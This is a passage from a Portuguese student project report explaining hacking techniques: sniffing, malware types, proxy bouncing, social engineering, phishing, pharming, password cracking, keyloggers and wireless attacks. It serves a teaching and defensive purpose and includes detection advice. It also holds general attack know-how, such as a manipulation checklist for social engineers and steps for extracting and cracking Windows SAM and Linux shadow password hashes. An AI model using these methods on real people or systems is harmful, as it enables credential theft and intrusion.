Warez, etc.

Botnet é o nome de uma rede formada por dois ou mais computadores infectados com

um bot e que podem ser usadas para lançar ataques de negação de serviço distribuídos,

envio de spam, etc.

12.1.5 Sniffing

Sniffing é a acção de capturar informações endereçada a outra máquina.

Page 127: relatorio de projecto-Documentação teórica das técnicas de hacking

127

Originalmente as ferramentas de “sniffing” foram desenvolvidas para serem usadas pelo

administrador do sistema para resolver problemas nas ligações ou para monitorizar o

tráfego na rede, as ferramentas de sniffing são perfeitas para efectuar pesquisa de

defeitos na rede.

Na rede ethernet os pacotes transmitidos são enviados para todos os computadores

ligados á rede. Apenas a máquina para a qual a informação é endereçada aceita o pacote

e todas as outras descartam o pacote se por não ser endereçado para elas. O cabeçalho

do pacote contém o endereço da máquina destino e o endereço da máquina origem.

Imagem 66 – Comunicação entre dois computadores numa rede ethernet

Assim, num caso normal, as máquinas da rede descartam todos os pacotes que não tem

o mesmo endereço MAC que a sua placa. Uma ferramenta de sniffing pode configurar a

placa de rede de forma a esta trabalhar no modo promíscuo, diz-se que esta está em

modo promíscuo quando está configurado para aceitar qualquer pacote

independentemente do seu endereço de destino.

Um sniffer, ao capturar um pacote, é capaz de obter toda a informação do pacote se esta

não estiver cifrada. Um Sniffer pode ser programado para capturar da rede apenas um

determinado tipo de tráfego ou, capturar apenas informação de login e outros dados

sensíveis que circulem na rede. Normalmente os dados que mais interessam aos

Page 128: relatorio de projecto-Documentação teórica das técnicas de hacking

128

atacantes são informação de login, contas bancárias, conversas do Messenger, e-mails

pessoais, dados privados em geral, etc.

Existe muitas ferramentas para sniffing como tcpdump, Ethereal, Sniffit, etc.

Imagem 67 – Ferramenta ethereal versão 0.99.0

A razão para o sucesso do sniffing devesse ao facto da maioria dos protocolos TCP/IP

como FTP, POP, NNTP, IMAP e HTML não usarem encriptação de dados. Assim, os

dados dos pacotes ao circularem na rede, circulam em texto simples.

A existência de switches e routers na rede, torna muito mais difícil capturar os pacotes

da rede porque em vez dos pacotes serem propagados para todos os nós da rede são

entregues apenas ao nó de destino do pacote.

Apesar de dificultem a captura de pacotes, não a tornam uma tarefa impossível. Os

switches (que internamente fazem comutação de circuito) criam uma espécie de rede

ponto a ponto entre as interfaces para permitir o tráfego de pacotes. O Switch entrega a

informação na porta em que está registado o MAC Adress de destino da frame, o que faz

com que os outros computadores ligados ao switch não tenham conhecimento da

informação se esta não estiver endereçada a si (com o seu MAC Adress ou com o

endereço de Broadcast como destino da frame).

Page 129: relatorio de projecto-Documentação teórica das técnicas de hacking

129

Imagem 68 – Exemplo de comunicação ponto-a-ponto numa rede switch.

Os Switches ao contrário dos hub’s não permitem que seja efectuado sniffing pela

colocação da placa em modo promíscuo. Se um atacante colocar um sniffer a correr

numa rede comutada como faz numa rede com hub’s apenas vai conseguir receber os

pacotes de broadcast, e os pacotes que, a maquina onde está a correr, envia e recebe.

A maneira mais simples para um atacante conseguir receber toda a informação que

circula na rede, caso o switch utilizado suporte “port mirroring” é conseguir de alguma

maneira alterar no switch o valor da porta usada para essa funcionalidade para a porta

onde está ligado. Depois de conseguir fazer esta alteração o atacante passa a receber

uma cópia de toda a informação que circula na rede.

O atacante pode fazer sniffing numa rede comutada através da colocação do switch a

trabalhar como um hub. O atacante consegue fazer isso através de um MAC flooding

contra o switch. Este método consiste em enviar muitos pacotes ARP para conseguir

encher a tabela que faz a correspondência entre o MAC address de uma máquina e a

porta em que se encontra (translation table) do switch.

Ainda existe mais um método para permitir a um atacante fazer sniffing numa rede

comutada que consiste em efectuar ARP spoofing (esta técnica foi explicada no capítulo

sobre spoofing) para que toda a informação seja encaminhada para o computador do

atacante em vez de ser encaminhada para o destino correcto, o que vai permitir ao

Page 130: relatorio de projecto-Documentação teórica das técnicas de hacking

130

atacante ler toda a informação que circula na rede. Para o atacante ser bem sucedido tem

de ter activo no seu computador o IP forwarding para que, a informação seja em

seguida reencaminhada para o destino correcto caso contrario o atacante faz com que a

rede deixe de estar acessível, porque a informação não chega ao destino.

Existem algumas medidas que podem ser adoptadas para detectar a presença de

sniffer’s.

Uma das formas de detectar a presença de um sniffer é verificar na rede se existe

alguma interface a trabalhar no modo promíscuo. Para tal, existem ferramentas como

cmp (check promiscuos mode), que analisa as interfaces do sistema para verificar se

alguma interface se encontra no modo promíscuo. Caso exista alguma máquina em

modo promíscuo está a ser feito sniffing na rede.

Todos os sniffers guardam os dados dos pacotes que capturam num ficheiro de log.

Normalmente esses ficheiros crescem muito rapidamente devido á quantidade de

tráfego na rede. Um administrador de sistema deve procurar por esse tipo de ficheiro na

rede, ou seja, deve procurar ficheiros que aumento de tamanho muito rapidamente,

ficheiros com um tamanho muito elevado e deve desconfiar de ficheiros que se

encontrem em directorias escondidas.

Existem ferramentas que permitem detectar a presença de sniffers na rede, como por

exemplo o AntiSniff.

12.1.6 Adware

O Adware (Advertising software) é um software desenvolvido especificamente para

apresentar produtos em pop-up enquanto é executado, seja no Browser ou noutra

aplicação.

Este software assemelha-se ao spyware na sua forma de instalação e de remoção.

Normalmente, são empresas que desenvolvem este tipo software. Podem estar incluídos

nos pacotes de programas gratuitos. Em alguns casos, o adware é instalado no

computador como retribuição pela instalação de outro programa da mesma empresa,

Neste caso exibem publicidade no programa da empresa ou no browser.

Por outro lado existem adware’s mais abusivos que mostram publicidade de forma

incómoda e abusiva, que podem ser instalados como plug-in. Aparecem durante a

navegação em sites que tenham parceria com a empresa que pretende exibir os seus

Page 131: relatorio de projecto-Documentação teórica das técnicas de hacking

131

produtos. Podem aparecer durante a navegação, ou quando o utilizador digita o

endereços.

Estes programas podem ser instalados quando se instala software como Kazaa, BitLord,

Messenger plus, etc. ou com cookies que são instalados quando se visita algumas

páginas.

Algumas aplicações de adware passaram a ser instaladas no computador mesmo sem

acompanhar programas, são instalados quando o utilizador passa por um site pouco

fiável. Por vezes as publicidades exibem pornografia ou são de publicidade enganosa,

podem causar instabilidade no sistema, principalmente no browser. Embora por vezes

este software seja abusivo, não é ilegal.

Existem alguns tipos de adware que fazem alterações no registo do Windows e depois

escondem-se mudando de directoria, para tornar a sua detecção difícil e por vezes é

preciso recorrer a um programa específico para recompor o registo do Windows.

12.1.7 Ransonware

Ransonware é um tipo de software recente que pode ser infectar um computador da

mesma forma que um trojan ou um vírus. Uma vez instalado no computador da vítima,

pode cifrar desde um ficheiro até todo o conteúdo do disco rígido. O atacante exige

depois um pagamento para restaurar os dados. Estas são ferramentas para crimes de

extorsão e são ilegais. Existem algumas aplicações deste género, entre elas o Gpcode-B

/ PGPCoder, etc.

12.1.8 Spyware

O Spyware é um programa de computador que recolhe informação sobre o utilizador e

sobre os seus hábitos na Internet. Este software difere dos trojan na medida em que não

tem como objectivo que o sistema seja directamente manipulado por terceiros mas

apenas fornecer informação a uma entidade externa.

AS aplicações mais sofisticadas capturam informação sobre a vítima, mesmo com o

computador offline. Mais tarde, quando o computador está ligado a Internet, os dados

são enviados para o servidor do atacante.

As informações obtidas são vendidas posteriormente a fornecedores de produtos. Estes

fornecedores utilizam as informações compradas para em seguida enviar mensagens

Page 132: relatorio de projecto-Documentação teórica das técnicas de hacking

132

(geralmente SPAM) para tentar cativar clientes interessados num determinado tipo de

produto.

O spyware pode estar embutido noutro software. Assim, um utilizador pode instalar

spyware se instalar um software que não seja de confiança ( freeware, jogo grátis, etc.)

ou se executar um anexo de e-mail ou ficheiro enviado pelo Messenger.

Existem programas de remoção de Spyware, como Spybot, SpyCheck, Spyware Stopper,

mrt (que se encontra incluído no Windows XP com SP2), etc. mas é preciso ter atenção

ao instalar um programa de remoção de spyware porque muitos dos que se encontram

disponíveis online e que são grátis podem remover o spyware que se encontra no disco

mas instalam outras aplicações de spyware.

Este software é criado para ser executado sem o conhecimento da vítima. Mas existem

sinais que alertam para uma infecção por este software:

1. Caso a configuração da página inicial definida no browser seja alterada.

2. Caso apareçam anúncios em páginas que a vítima visite mas a situação não

acontecia em visitas anteriores. O Spyware tem a capacidade de colocar anúncios

em janelas pup-up em qualquer página que a vítima aceda.

3. Este software consome muitos recursos para verificar a actividade da vítima e para

entregar anúncios, o que torna o computador mais lento.

12.1.9 Hijackers

Hijackers são programas que alteram algumas configurações e manipulam o browser.

Este tipo de software altera a página inicial do Browser e impede o utilizador de a voltar

a repor. Este é um dos principais sinais de alerta para a existência de um programa do

género instalado no computador.

Este programa não altera apenas a página inicial, também permite exibir publicidade em

pop-up ou abrir uma janela nova apenas para exibir publicidade, instala barras de

ferramentas no browser e pode impedir o acesso a determinados sites, incluindo os sites

que disponibilizam software antivírus.

Depois de um sistema operativo ser infectado com este tipo de aplicações é muito difícil

a remover, de tal forma que, nem um antivírus nem um anti-spyware é capaz de o

eliminar. Assim, torna-se necessário a utilização de uma ferramenta apropriada para

combater este software como PC Anti-Hijacker, HijackThis, etc.

Page 133: relatorio de projecto-Documentação teórica das técnicas de hacking

133

13 Esconder a identidade

Os atacantes recorrem na sua maioria a ataques de impersonalização para poderem

realizar outros ataques e não serem apanhados ou para incriminar utilizadores inocentes.

13.1 Métodos para esconder a identidade

13.1.1 Servidores Proxy

Servidores proxy são uma das formas mais comuns que um simples utilizador ou um

atacante usa para esconder a sua identidade, estes actuam como uma mascara que

esconde a identidade de quem os usa.

Normalmente quando queremos estabelecer uma ligação com um sistema efectuamos

uma ligação directa a esse sistema, mas se usarmos um servidor proxy, este vai

funcionar como um intermediário na comunicação. Para o efeito a informação que

queremos enviar é enviada para o servidor proxy e em seguida do servidor proxy para o

destino pretendido. Quando o sistema destino responde a informação é enviada para o

servidor proxy e o servidor proxy vai enviar a informação para o utilizador. Neste

procedimento é garantido o anonimato do utilizador uma vez que apenas o servidor

conhece a sua identidade.

Quando se pretende estabelecer uma ligação com um sistema são então efectuadas duas

ligações que são:

1. Uma ligação entre o sistema do utilizador e o servidor proxy;

2. Entre o servidor proxy e o sistema com que se pretende comunicar;

Se for efectuada uma ligação através de um servidor proxy é garantida a

confidencialidade da identidade com o exterior.

Um servidor proxy pode ser usado:

Por um simples utilizador de Internet para esconder e proteger a sua verdadeira

identidade enquanto navega;

Por um atacante para esconder a sua identidade para não poder ser seguido e

apanhado, esta tarefa é simplificada pelo facto de muitos servidores proxy não

guardarem os registos de utilização, pelo que se torna impossível saber quem

usou o sistema para se ligar;

Page 134: relatorio de projecto-Documentação teórica das técnicas de hacking

134

Pelos empregados de organizações para dar a volta a sistemas de filtragem que

se encontram a bloquear o acesso a programas de conversação, o acesso a

páginas web, etc.;

Se um atacante pretender navegar anonimamente na Internet existe a possibilidade de

utilizar um proxy web, ou seja uma página em que apenas se coloca o endereço para

onde se pretende navegar anonimamente. Para este serviço existem páginas como

http://proxify.com/.

Imagem 69 – Screenshot da página “proxyfy.com” que permite navegar

anonimamente na web.

Page 135: relatorio de projecto-Documentação teórica das técnicas de hacking

135

Imagem 70 – Screenshot do servidor proxy “Your-Freedom” que permite o

uso de aplicações bloqueadas na rede e que se navegue sem restrições na

Internet.

13.1.2 Proxy Bouncing

É uma técnica que consiste em o atacante se ligar a vários servidores proxy até chegar

ao endereço pretendido. Um atacante pode-se ligar a vários servidores localizados em

locais muito distantes de forma a despistar quem o esteja a tentar encontrar.

Efectua uma ligação da seguinte forma:

Atacante-----» Proxy1------» Proxy2 ------» Proxy3 ------» Proxy N ------»

Destino Pretendido

Este trabalho é facilitado por algumas ferramentas que permitem que o atacante faça

ligações a vários servidores e que além disso tem a capacidade de permutar de

servidores durante a ligação.

Algumas ferramentas usadas são Squid para linux, Wingate para Windows, MultiProxy,

etc.

Page 136: relatorio de projecto-Documentação teórica das técnicas de hacking

136

Imagem 71 – Screenshot da janela para fazer a autenticação no Gatekeeper.

São necessários privilégios de administração para correr a aplicação.

Page 137: relatorio de projecto-Documentação teórica das técnicas de hacking

137

Imagem 72 – Screenshot da aplicaçao que permite configurar o Wingate.

A aplicação Wingate permite múltiplas configurações, por esse motivo em anexo além

da instalação encontra-se também o manual de instalação e de configuração. No manual

de configuração são apresentados screenshot’s de três configurações possíveis para

permitir ao utilizador configurar facilmente o programa.

Page 138: relatorio de projecto-Documentação teórica das técnicas de hacking

138

14 Engenharia social

Engenharia social é a arte de conseguir enganar um individuo pela criação com este de

uma relação de confiança ou medo num período muito curto de tempo com o objectivo

de roubar informação. Esta informação pode consistir de dados pessoais, informação de

negócios, login, números de cartão de credito, etc.

Este é o único tipo de ataque que pode ser feito sem recurso a nenhuma ferramenta de

computador e com muito pouco conhecimento de informática. Para levar a cabo um

ataque de engenharia social é necessário apenas que o atacante tenha muita confiança

em si e no que faz, que consiga transmitir a vítima simpatia e que consiga falar de uma

maneira a criar ambiente entre ele e a vítima, basicamente tem de possuir as

características necessárias para ser um bom actor. O atacante tem de encontrar uma

vítima que nunca suspeite que pode estar a ser usada e depois tem de tentar criar entre

os dois ou um ambiente de confiança ou medo dependendo da vítima num espaço de

tempo muito curto e logo depois de criar esta relação roubar o que pretende.

Geralmente as vítimas dos atacantes são empregados novos que tem medo de perder o

seu emprego e que não receberam formação.

Resumindo, um atacante para ser bem sucedido tem de:

Ter um tom de voz agradável;

Ser amigável;

Geralmente tem de fingir que faz parte da organização ou que está a trabalhar a

pedido desta;

Fazer muita pesquisa sobre a pessoa que pretende manipular;

Falar de uma maneira directa e precisa, recorrendo a muitos termos técnicos;

Fazer pesquisa de maneiras de falar e estar dentro da organização que é suposto

apenas os empregados desta saberem que existe e apenas eles usam;

Fazer referência aos responsáveis superiores á vítima;

etc.

Page 139: relatorio de projecto-Documentação teórica das técnicas de hacking

139

Imagem 73 – Esquema a representar como o atacante consegue evitar os

sistemas de protecção enganando um empregado da organização.

O esquema anterior mostra como é evitado investir na segurança da rede porque se um

atacante for capaz de manipular algum empregado consegue evitar todos os mecanismos

de protecção para aceder á rede e aos dados da organização.

14.1 Tipos de ataques

14.1.1 Impersonalização

Nesta técnica o atacante finge ser alguém envolvido na estrutura informática da

organização como o administrador de sistemas, alguém do departamento de informática,

um responsável pelo ISP, um responsável pela estrutura de redes, um responsável da

companhia de telefones, etc.

O atacante vai tentar obter a informação de login do empregado, um login que o

empregado conheça ou um login que o empregado pode redefinir com a desculpa de

uma falha na rede, uma perda na base de dados, etc.

O atacante tem de fazer muita pesquisa para saber se está em condições de iludir a

vítima escolhida pela quantidade de dados pessoais fornecidos à vítima, o atacante deve

ainda usar muitos termos técnicos que a vítima não percebe para a iludir e confundir.

Page 140: relatorio de projecto-Documentação teórica das técnicas de hacking

140

14.1.2 Intimidação

Nesta técnica o atacante finge ser alguém que trabalha muito próximo do chefe ou

alguém muito importante na estrutura da empresa. O atacante usa o medo e intimidação

para adquirir informação do empregado. Para intimidar o empregado o atacante pode

dizer que as ordens vieram directamente do patrão e que este pode ficar descontente

com o empregado ou até despedi-lo.

O atacante pode dizer que se o empregado não cooperar o atacante pode ser despedido,

o atacante pode dizer que é novo e que não consegue fazer o que lhe pediram se o

empregado não o ajudar, etc.

14.1.3 Engenharia social com presença física do atacante

Consiste no atacante entrar no edifício fazendo de conta que é um funcionário,

convidado, empregado de limpeza ou qualquer outra pessoa de forma a iludir o

segurança. Depois de iludir o segurança o atacante dirige-se ao local que pretende e

extrai os dados pretendidos, para o atacante fazer este tipo de ataque tem de estar muito

confiante e conhecer muito bem o edifício para não ser apanhado ou identificado.

14.1.4 Phishing

Phishing consiste em apresentar ao utilizador uma página web clonada que simula um

site em que o utilizador se encontra registado como por exemplo Hotmail, gmail,

Citibank, ebay, etc. para adquirir os dados do utilizador, sejam estes os dados de login,

numero de cartão de credito, numero de identificação fiscal, nome completo, nome dos

pais, etc.

Para efectuar phishing é enviado á vítima geralmente um email, onde o atacante se

identifica como a organização verdadeira. No email apresenta uma justificação para o

envio deste, que pode ser a dizer que estão a efectuar uma actualização de dados, que

houve uma perda de dados e o utilizador tem de inserir os dados novamente para

recuperar a conta, que pretendem fazer uma actualização dos dados do utilizador, etc.

além desta justificação é apresentado uma hiper ligação com o endereço verdadeiro da

organização apresentado, mas que tem como destino um endereço diferente do que se

encontra escrito, pelo que o utilizador apenas se consegue aperceber deste esquema se

Page 141: relatorio de projecto-Documentação teórica das técnicas de hacking

141

olhar para a barra de endereços e ver para que endereço foi reencaminhado. Caso o

utilizador insira os dados na página falsa o atacante adquire estes.

Para visualizar alguns exemplos basta ir ao endereço www.antiphishing.org.

Em seguida são apresentados printscreen’s de um ataque de phishing a utilizadores do

cartão Multibanco Visa.

Imagem 74 – printscreen do e-mail que a vítima recebe.

Page 142: relatorio de projecto-Documentação teórica das técnicas de hacking

142

Imagem 75 – Printscreen da página para onde a vítima é reencaminhada ao

carregar no link que é indicado no e-mail.

Se a vítima não tiver com atenção e não reparar que a página apresentada não pertence á

Visa e preencher os dados o atacante vai conseguir obter os dados inseridos e aceder á

sua conta.

14.1.5 Pharming

O pharming assim como o phishing consiste no redireccionamento para um endereço

falso, mas enquanto no pharming este era feito com base numa hiperligação no

pharming este redireccionamento é feito ao nível do DNS. Para a vítima ser atacada tem

de ser inicialmente infectada com um vírus, spyware ou qualquer outro método que

permita alterar a informação localizada no ficheiro com a tabela usada pelo DNS que

tem o IP que corresponde a um determinado endereço (no Windows geralmente o

ficheiro é o “hosts” que se encontra em c:\WINDOWS\System32\drivers\etc\hosts),

alterando os valores que se encontram no ficheiro quando a vitima tentar aceder ao site

Page 143: relatorio de projecto-Documentação teórica das técnicas de hacking

143

real é encaminhado sem se aperceber para o endereço falso e de resto o esquema do que

acontece é exactamente igual ao do phishing.

Imagem 76 - Configuração do ficheiro hosts.

Imagem 77 – Configuração do ficheiro Host alterado. O endereço IP

colocado para o google não é o correcto (é o endereço de www.MSN.com)

Assim o utilizador quando quiser aceder á página do google será direccionado para o

endereço IP indicado em vez do endereço verdadeiro o que vai levar a que seja

Page 144: relatorio de projecto-Documentação teórica das técnicas de hacking

144

apresentada uma página diferente da pretendida (neste caso será enviado para a página

do MSN).

Este esquema é muito mais perigoso do que o phishing porque o utilizador não se

apercebe que está a ser enganado caso olhe para a barra de endereço.

Page 145: relatorio de projecto-Documentação teórica das técnicas de hacking

145

15 Descobrir Passwords

A Password é o método de autenticação mais usado, principalmente por ser um método

de autenticação muito mais barato que dispositivos biométricos de leitura de impressão

digital, íris ou retina. É um método de autenticação usado para aceder ao sistema

operativo, ao e-mail, a documentos protegidos, etc.

Uma password tem como objectivo garantir a identidade de quem está a querer aceder a

um recurso.

A maioria dos utilizadores utiliza password’s muitos simples que consistem em palavras

presentes no dicionário ou um dado pessoal disponível a qualquer pessoa que faça

alguma pesquisa ou então usa as password’s por defeito e que podem ser descobertas

com uma pesquisa na Internet, A maioria dos utilizadores não cria uma password forte

ou altera a password regularmente por ser mais cómodo.

Este tipo de ataque é muito perigoso pois permite a um atacante assumir a identidade

da vítima e colocar a culpa nesta pelos actos dele. O atacante depois de conseguir

descobrir a password da vítima pode aceder aos dados bancários, descobrir dados da

vida pessoal ler o e-mail, difamar a vítima através do envio de e-mail a familiares,

amigos, parceiros económicos, cometer ataques contra outros sistemas com a identidade

da vítima, etc.

As passwords podem ser obtidas através de ferramentas que acedem a dicionários e

tentam todas as palavras existentes nestes, por ferramentas que experimentam todas as

combinações possíveis de palavras ou através de sniffers ou keyloggers.

15.1 Técnicas usadas para descobrir password’s

15.1.1 Adivinhar a Password

Neste método o atacante tenta juntar o máximo de informação sobre a vítima que

conseguir e depois tenta todas as palavras que costumam ser usadas pela maioria de

utilizadores para password como o nome do cão, o nome da namorada (o), a data de

nascimento, o numero de aluno, o numero de BI, etc. Este método pode ser aplicado de

duas formas. A mais demorada e complicada é o atacante estar a inserir as varias

hipóteses uma a uma até conseguir acertar na password e a outra consiste em organizar

Page 146: relatorio de projecto-Documentação teórica das técnicas de hacking

146

as palavras que tem de tentar num ficheiro com uma organização semelhante a um

dicionário e no final correr uma aplicação que permita testar todas as palavras que se

encontram nele.

15.1.2 Passwords por defeito

Muitas aplicações trazem password de origem que devem ser alteradas antes de colocar

a aplicação a funcionar. Existem muitos utilizadores que por desconhecimento, preguiça

ou distracção se esquecem de alterar estas password’s. Quando um atacante tenta

descobrir a password para uma aplicação provavelmente vai verificar se estas

passwords foram alteradas ou não. Caso a password por defeito da aplicação não tiver

sido alterada o atacante consegue autenticar-se facilmente. A lista de password por

defeito da maioria das aplicações que contem uma pode facilmente ser encontrada e

retirada da Internet (encontra-se uma lista completa em

http://www.phenoelit.de/dpl/dpl.html e no ficheiro que se encontra no DVD).

15.1.3 Ataques baseados em dicionários de palavras

Este ataque apenas é bem sucedido se a vítima utilizar uma password existente no

dicionário que o atacante escolhe para percorrer.

Este ataque é baseado na tentativa e erro, ou seja, são percorridas todas as palavras

existentes no dicionário até ser encontrada a password ou ser atingido o final do

dicionário. Este ataque consome muitos recursos e é relativamente lento.

Page 147: relatorio de projecto-Documentação teórica das técnicas de hacking

147

Imagem 78 – A aplicação LC5 permite carregar vários dicionários para

serem testados.

15.1.4 Ataques de força bruta

Esta é uma técnica usada apenas quando as anteriores falham. Nesta técnica é usada

uma ferramenta que experimente todas as combinações possíveis de todas as teclas

presentes no teclado e informa quando encontrar a password.

Esta técnica é muito lenta e demorada e podemos ter a sorte de a password corresponder

a uma das primeiras palavras testadas ou corresponder a uma das ultimas.

Page 148: relatorio de projecto-Documentação teórica das técnicas de hacking

148

Imagem 79 – LC5 usado para um ataque de força bruta para descobrir o

login do Windows.

15.1.5 Keyloggers

O keylogger é um programa ou hardware que captura e armazena num ficheiro cifrado,

todas as teclas digitadas pelo utilizador no teclado do computador.

Existem keylogger por:

Software - Este tipo de software é instalado num sistema directamente, se o

atacante tiver acesso físico ao computador ou da mesma maneira que um vírus,

trojan ou spyware.

As instituições financeiras desenvolveram teclados virtuais para evitar que os

keyloggers de teclado conseguissem capturar informação de login, uma vez que,

o utilizador insere a password com o rato e não através do teclado. Esta

tecnologia não é segura, uma vez que foram desenvolvidas formas mais

avançadas de keyloggers, também conhecido como screenloggers. Estas novas

aplicações são capazes de armazenar a região onde se premiu o rato, porque

armazenam a posição do cursor e a imagem apresentada no monitor. Desta

Page 149: relatorio de projecto-Documentação teórica das técnicas de hacking

149

forma um atacante pode obter a senha de acesso do banco inserida pelo

utilizador.

Os dados recolhidos por keyloggers são enviados para o endereço de email que

está configurado neste.

Existem keyloggers para todos os sistemas operativos, por exemplo existe o

klgr.tgz para linux e Windows Keylogger para windows, etc.

Imagem 80 – Screenshot do keylogger “Best Free Keylogger”.

Best Free Keylogger é uma aplicação é muito completa, pois permite capturar

todo o tipo de informação incluindo screenshot’s dos teclados virtuais usados

para autenticação em algumas páginas web. O atacante pode configurar o

programa para receber notificações por e-mail dos dados capturados.

Hardware - O keylogger por hardware é um dispositivo de hardware que se liga

entre a ficha do teclado e o e o computador. Existem versões de keyloggers que

se ligam á porta PS/2 e existe também para ligar a portas USB. Estes aparelhos

têm uma capacidade que varia entre os 32Kbytes (permitindo guardar por volta

de 32 mil teclas digitadas) e os 2 MBytes (usam memória flash).

Estes dispositivos não requerem nenhum software de configuração e não

consomem recursos do sistema o que permite que estejam instalados num

computador com qualquer sistema operativo.

Page 150: relatorio de projecto-Documentação teórica das técnicas de hacking

150

Dependendo do modelo do dispositivo, os dados capturados podem ser

adicionados a um ficheiro que guarda a informação sobre as teclas pressionadas

e ainda a data e hora que foram pressionadas.

Algumas das empresas que produzem este equipamento atribuem um número de

série a cada um para que caso sejam usadas para uma actividade ilegal seja

possível encontrar o dono e possível culpado (é o caso dos modelos fabricados

pela empresa KEYGhost).

Imagem 81 – Fotografia de um computador sem o Keylogger por hardware

instalado e com o keylogger por hardware instalado.

A única forma de detectar um keylogger por hardware é averiguar manualmente junto à

cada máquina.

15.2 Password’s de aplicações

Algumas aplicações permitem limitar o acesso ou proteger conteúdos com recurso a

uma password. Estas aplicações apenas fornecem um falso sentimento de segurança,

porque existem ferramentas que quase imediatamente ou com extrema facilidade e

rapidez descobrem as password’s destas aplicações se o utilizador tiver escolhido uma

muito simples.

Alguns exemplos:

Advanced ZIP password Recovery, para descobrir password’s de ficheiros ZIP;

L0phtcrack, para descobrir passwords de utilizadores do Windows;

Page 151: relatorio de projecto-Documentação teórica das técnicas de hacking

151

Advanced PDF password Recovery, para descobrir password’s de ficheiros

PDF;

Office Key, para descobrir password’s de ficheiros Office;

Internet Explorer Password Recovery, para descobrir password’s do Internet

Explorer;

etc.

15.3 Password’s do Windows

Existe apenas um ficheiro com a informação das contas de utilizadores que é o ficheiro

SAM (security accounts manager).

Podemos aceder a informação contida neste ficheiro de diversas formas:

Podemos usar um programa, por exemplo o LC5, que nos permite tentar

descobrir os utilizares do sistema e respectivas password’s directamente no

Windows;

Utilizar outro sistema operativo para conseguir acesso ao ficheiro SAM e copia-

lo ou usar a ferramenta de backup do Windows que faz backup deste ficheiro.

Depois disto podemos utilizar o programa pwdump2 para ter acesso a Hash que

contem a password codificada e em seguida podemos utilizar um dos programas

disponíveis para descodificar a Hash, podemos usar por exemplo o programa

John the Ripper ou L0phtcrack;

15.4 Password’s de Linux\Unix

Nos sistemas Linux a informação dos utilizadores do sistema e a sua password é

geralmente guardada no ficheiro “/etc/passwd”. A informação é cifrada usando um

algoritmo de sentido único, pelo que não é possível reverter a sua encriptação. Estes

ficheiros tem ainda a particularidade de em alguns casos apresentarem uma mascara em

vez de apresentarem a password encriptada. Esta mascara é um carácter especial usado

para aparecer no lugar da password, Quando ocorre esta situação a password é guardada

Page 152: relatorio de projecto-Documentação teórica das técnicas de hacking

152

num ficheiro á parte (“/etc/shadow'') e apenas o utilizador root tem acesso, de leitura, a

ele.

Os passos para descobrir a password de um utilizador passa então por:

1. Descobrir a localização exacta do ficheiro que a contem;

2. Caso a password se encontre com uma mascara retirar esta para aceder á

password na sua forma encriptada. Este passo pode ser feito com recurso a

programas simples disponíveis na Internet ou ganhando acesso root ao sistema;

3. Utilizar uma aplicação para descobrir a password. Neste passo pode ser usada

uma ferramenta como John the Ripper;

Page 153: relatorio de projecto-Documentação teórica das técnicas de hacking

153

16 Sistemas Wireless

Existem vários tipos de comunicações wireless para diversos tipos de dispositivos,

como telemóveis, telefones sem fios, satélites, redes de dados wireless( como 802.11a,

802.11b, 802.11g) ,redes de dados bluetooth, redes de dados infravermelhos, etc. Todas

estas tecnologias tem o mesmo objectivo, libertar o seu utilizador da restrição de espaço

ou distâncias e permitir a sua mobilidade.

Todos os sistemas wireless apresentam falhas de segurança que permitem a um atacante

ver o que o utilizador está a fazer ou capturar a informação (dos dados que esteja a ser

enviados, da chamada, etc.).

A tecnologia Bluetooth foi desenvolvida pela Ericsson com o objectivo de ser uma

tecnologia de transferência wireless barata e apenas a partir dos anos noventa passou a

ser usada para comunicação entre computadores, impressoras, e outros equipamentos.

Existem três classificações para a tecnologia bluetooth:

Classe 1, que é a classe com mais alcance, pode atingir até 100 metros e tem

uma potência de 100mW;

Classe 2, que consegue transmitir até 20 metros e tem uma potência de 2,5 mW;

Classe 3, que é a mais usada e alcança uma distancia até 10 metros e tem uma

potencia de 1 mW;

Esta tecnologia trabalha a uma frequência de 2,45 GHz e divide a largura de banda em

canais mais pequenos para não interferir com outros aparelhos que operem na mesma.

Quanto ás redes de dados wireless os standard’s mais usados são os da família 802.11

que foram desenvolvidos pelo IEEE em 1997.

As redes wireless têm dois modos de operação:

Ad-Hoc

Imagem 82 – Ligação wireless no modo Ad-Hoc

Page 154: relatorio de projecto-Documentação teórica das técnicas de hacking

154

Este tipo de ligação é normalmente designado de peer-to-peer. Neste modo de

operação é necessário que ambos os sistemas tenham ligação wireless e não é necessário

um terceiro dispositivo para controlar a ligação.

Infra-estrutura

Imagem 83 – Ligação wireless no modo infra-estrutura

Neste modo de funcionamento a comunicação é centrada num dispositivo wireless

(wireless acess point ou AP), neste modo o AP é o responsável por toda a comunicação.

Para proteger as redes de dados wireless foi desenvolvido o mecanismo de segurança

WEP (Wired Equivalent Privacy) e mais tarde foi desenvolvido o WPA2 (Wi-fi

protected acess 2 ou 802.11i).

Existe um conjunto muito elevado de ferramentas para explorar redes wireless entre

eles:

NetStumbler, para detectar redes wireless ao alcance do dispositivo do atacante;

Page 155: relatorio de projecto-Documentação teórica das técnicas de hacking

155

Imagem 84 – Screenshot a mostrar o funcionamento do NetStumbler.

Mognet, AirTraf, para fazer sniffing da rede;

WaveStumbler, Kismet, que serve para detectar redes wireless e fazer sniffing;

AirSnort, AirCrack, para fazer o descobrir a chave WEP;

etc.

16.1 Ataques a sistemas wireless

16.1.1 Ataques a sistemas Bluetooth

O primeiro exploit que surgiu para explorar falhas nas ligações bluetooth foi o

“Bluejacking” que permitia a um atacante enviar para dispositivos que se encontrassem

ao alcance do seu ficheiros (texto, imagens, sons).

Depois deste surgiram outros que passaram a permitir a um atacante roubar a

informação do dispositivo da vítima como (ficheiros de vídeo, calendário, agenda

telefónica, etc.), permitem ao atacante usar o dispositivo para enviar e receber sms, sem

que a vítima se aperceba. Este tipo de ataque é chamado de “Bluesnarfing”.

Existem diversas ferramentas para explorar sistemas bluetooth como bluesniff para fazer

pesquisas de dispositivos (usada para wardriving) e o RedFang para descobrir

dispositivos que se encontram no modo non-discoverable.

Page 156: relatorio de projecto-Documentação teórica das técnicas de hacking

156

O primeiro worm a surgir com a capacidade de usar o sistema bluetooth para se

propagar foi o Cabir este apenas infecta telemóveis com o sistema operativo Symbian

da série 60 e quando infecta um procura outros ao seu alcance para se propagar. Este

worm enfrenta uma dificuldade na sua propagação que consiste em a futura vítima ter

aceitar que ele se instale no seu dispositivo, ele não tem a capacidade de se instalar

automaticamente.

16.1.2 Ataques ao mecanismo de segurança WEP

Quando se usa o mecanismo de segurança WEP o atacante precisa de ter alguma

paciência para descobrir qual a chave usada, porque tem de esperar que a chave que é

usada na cifra volte a ser usada para conseguir descobrir qual é pela análise de pacotes,

